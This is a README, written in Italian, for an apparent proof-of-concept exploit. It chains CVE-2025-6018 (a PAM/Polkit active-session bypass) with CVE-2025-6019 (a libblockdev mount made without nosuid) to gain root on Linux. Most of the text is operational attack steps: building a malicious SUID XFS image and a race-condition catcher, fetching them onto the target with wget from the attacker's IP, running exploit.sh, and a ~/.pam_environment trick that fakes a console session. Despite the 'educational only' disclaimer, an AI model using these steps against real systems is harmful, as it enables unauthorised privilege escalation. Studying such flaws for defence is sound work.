
Una Prova di Concetto per il concatenamento di CVE-2025-6018 (bypass di sessione attiva PAM/Polkit) e CVE-2025-6019 (vulnerabilità di mount SUID in libblockdev) per ottenere escalation dei privilegi locali (LPE) su sistemi Linux vulnerabili.
Un Proof of Concept (PoC) robusto per concatenare CVE-2025-6018 (Bypass della Sessione Attiva PAM/Polkit) e CVE-2025-6019 (Difetto di Montaggio SUID in libblockdev) per ottenere accesso root su sistemi Linux vulnerabili.
Questo strumento è solo per scopi educativi e ricerca di sicurezza autorizzata. Non utilizzarlo su sistemi che non possiedi o per cui non hai esplicita autorizzazione.
Questo exploit combina due difetti logici per elevare i privilegi da utente standard a root:
Active=yes. Questo trucco convince il sistema che l'utente remoto sia fisicamente presente alla console, bypassando i requisiti di password per strumenti di gestione hardware come udisks2.libblockdev (usata da udisks2) non riesce ad applicare il flag di sicurezza nosuid quando monta temporaneamente un filesystem per operazioni di manutenzione (come Check o Resize).Active=yes per montare questa immagine come dispositivo loop senza password.Filesystem.Check. Questo forza udisks2 a montare temporaneamente l'immagine per verificarla. Fondamentalmente, questo montaggio temporaneo è privo di nosuid./proc/mounts in tempo reale. Non appena appare il montaggio temporaneo, esegue il payload SUID prima che il sistema lo smonti.Poiché la macchina target spesso manca di strumenti come mkfs.xfs o gcc, generiamo il payload localmente.
Esegui lo script di build su Kali/Parrot:
./build_poc.sh
exploit.img (immagine XFS da 400MB con shell SUID).catcher (Il vincitore della race-condition).Carica i file sul target: Avvia un server Python:
python3 -m http.server 80
Sulla macchina target (ad esempio in /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Scarica lo script di exploit:
Salva il contenuto di exploit.sh da questo repository sulla macchina target.
Esegui l'exploit:
chmod +x exploit.sh
./exploit.sh
Goditi la root: Lo script configurerà automaticamente il dispositivo loop, avvierà il catcher in background e innescherà la vulnerabilità. Dovresti essere immediatamente inserito in una shell root.
Se lo script richiede una password, la tua sessione SSH non è attiva. Soluzione:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Deve restituire Active=yes.La finestra vulnerabile è larga solo millisecondi.
build_poc.sh), non un loop Bash.Filesystem.Check, che è più affidabile di Resize.build_poc.sh (Lato Attaccante)Automatizza la creazione dell'immagine malevola e compila i binari statici.
exploit.sh (Lato Target)L'orchestratore. Gestisce:
catcher in background.udisksctl.Filesystem.Check.